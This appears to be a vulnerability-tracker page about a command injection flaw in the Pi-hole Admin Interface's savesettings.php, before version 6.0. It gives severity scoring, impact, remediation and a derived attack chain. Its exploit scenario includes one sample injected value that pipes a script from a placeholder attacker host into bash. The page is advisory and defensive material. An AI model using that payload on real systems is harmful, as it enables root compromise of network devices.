Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend POST request to savesettings.php
-
ExploitInject OS command in webtheme parameter
-
ImpactExecute arbitrary shell command as web server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Pi-hole Admin Interface versions prior to 6.0 by sending a crafted POST request to savesettings.php with malicious payload in the 'webtheme' parameter. No authentication or user interaction required. Default installations are vulnerable. |
| Impact | This vulnerability represents critical real-world risk based on converging threat indicators. The CVSS 4.0 score of 8.9 reflects maximum exploitability: network attack vector (AV:N), low complexity (AC:L), no prerequisites (AT:N), no authentication required (PR:N), and no user interaction (UI:N), with high impact to confidentiality, integrity, and availability. The E:P metric confirms publicly available exploit code exists. While not listed in CISA KEV (no confirmed active exploitation in federal networks at time of analysis), the combination of unauthenticated remote access, trivial exploitation complexity, root privilege escalation, and POC availability creates an extremely high likelihood of exploitation. Pi-hole installations exposed to the internet or untrusted local networks face imminent compromise risk. The SSVC decision framework would classify this as immediate priority: exploitation proof exists (E:P), fully automatable (no human interaction required), and critical technical impact (arbitrary code execution as root). Organizations should treat this as a priority-one remediation regardless of the absence of KEV status. |
| Exploit ScenarioDerived | An unauthenticated attacker on the network scans for exposed Pi-hole admin interfaces and sends a crafted HTTP POST request to savesettings.php with a malicious webtheme parameter value such as 'default; curl http://attacker.com/backdoor.sh | bash #'. The vulnerable PHP code concatenates this input directly into a sudo-privileged exec() call without sanitization. The injected commands execute with root privileges, downloading and running a remote shell script that establishes persistent backdoor access, exfiltrates DNS query logs containing network browsing history, modifies DNS responses to redirect traffic, or pivots to attack other devices on the network. Given the network attack vector and zero authentication requirement, automated exploitation by botnets or opportunistic attackers is highly probable once targets are identified through internet-wide scans. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Remote code execution with root privileges in Pi-hole Admin Interface versions prior to 6.0 allows unauthenticated attackers to execute arbitrary system commands. The vulnerability stems from unsanitized user input in the 'webtheme' parameter being concatenated directly into sudo-privileged exec() calls in savesettings.php. With CVSS 8.9 (Critical), network-accessible attack vector, and low complexity, this represents a severe compromise risk for Pi-hole deployments exposed to untrusted networks. Proof-of-concept code exists (CVSS E:P metric indicates exploitation proof available).
RemediationAI
Immediately upgrade Pi-hole Admin Interface to version 6.0 or later, which contains patches eliminating the command injection vulnerability through proper input validation and sanitization. Administrators should update using Pi-hole's standard update mechanism (pihole -up command) or by manually pulling the latest web interface code from the official repository. Until patching is complete, implement defense-in-depth controls: restrict web interface access through firewall rules to trusted IP ranges only, disable external internet access to the admin interface (typically port 80/443), or place Pi-hole behind a VPN or jump host for administrative access. Do not expose the admin interface to untrusted networks or the public internet. Verify successful upgrade by checking the version in the web interface footer or via pihole -v command. Review system logs for suspicious command execution patterns in Apache/lighttpd access logs and system audit logs to identify potential compromise prior to patching. Consult the official vendor advisory at https://github.com/pi-hole/web/security/advisories/GHSA-828h-5x96-rqx7 for additional mitigation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Pi-hole is a DNS-based network-wide ad blocking solution that runs as a lightweight service on Linux systems. The vulnerability (CWE-78: OS Command Injection) exists in the PHP-based administrative web interface, specifically in savesettings.php. This file processes user-supplied configuration data through POST requests. The vulnerable code path takes the $_POST['webtheme'] parameter and directly concatenates it into a system command string passed to PHP's exec() function, which is wrapped with sudo for privilege elevation. Without input sanitization, validation, or parameterization, attackers can inject shell metacharacters (semicolons, pipes, backticks) to break out of the intended command context and execute arbitrary code. Since the parent process runs with sudo privileges, injected commands inherit root-level access to the underlying operating system, enabling complete system compromise.
Know when Web Interface gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
3DescriptionCVE.org
Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. Versions prior to 6.0 have a critical OS Command Injection vulnerability in the savesettings.php file. The application takes the user-controlled $_POST['webtheme'] parameter and concatenates it directly into a system command executed via PHP's exec() function. Since the input is neither sanitized nor validated before being passed to the shell, an attacker can append arbitrary system commands to the intended pihole command. Furthermore, because the command is executed with sudo privileges, the injected commands will run with elevated (likely root) privileges. Version 6.0 patches the issue.
Executive ViewAI
Pi-hole Admin Interface versions before 6.0 contain a critical remote code execution vulnerability allowing unauthenticated attackers to execute arbitrary commands with root privileges on affected systems. Organizations running Pi-hole as DNS infrastructure or network-wide ad blocking should prioritize immediate patching, as the vulnerability is network-accessible and requires no authentication, creating direct risk to network integrity and potentially compromised DNS resolution across dependent systems.
Apply vendor patch to Pi-hole Admin Interface version 6.0 or later. If patching is delayed, implement network-level access restrictions by blocking untrusted connections to the Admin Interface port (typically 80/443) using firewall rules, limiting access to administrative networks only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Web Interface
View allPi-hole®'s Web interface (based off of AdminLTE) provides a central location to manage your Pi-hole. Rated high severity
Pi-hole is a Linux network-level advertisement and Internet tracker blocking application. Rated high severity (CVSS 8.8)
HTTP response splitting in Pi-hole Admin Interface before 6.3 lets unauthenticated remote attackers inject CRLF sequence
adminlte is vulnerable to Sensitive Cookie Without 'HttpOnly' Flag. Rated high severity (CVSS 7.5), this vulnerability i
adminlte is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated me
adminlte is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated me
Stored HTML injection in Pi-hole Admin Interface versions 6.0+ allows authenticated attackers to inject arbitrary HTML i
Pi-hole's Web interface (based on AdminLTE) provides a central location to manage one's Pi-hole and review the statistic
Reflected cross-site scripting in the Pi-hole Admin Interface (web_interface) 6.2.1 and earlier lets a remote, unauthent
Reflected DOM-based XSS in Pi-hole Admin Interface versions 6.0 through 6.4 allows unauthenticated attackers to inject a
Stored cross-site scripting (XSS) via HTML attribute injection in Pi-hole Admin Interface versions 6.0 through 6.4 allow
Pi-hole Admin Interface versions 6.0 through 6.4 fail to escape client hostnames and IP addresses from the FTL database
EUVD-2026-16781
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB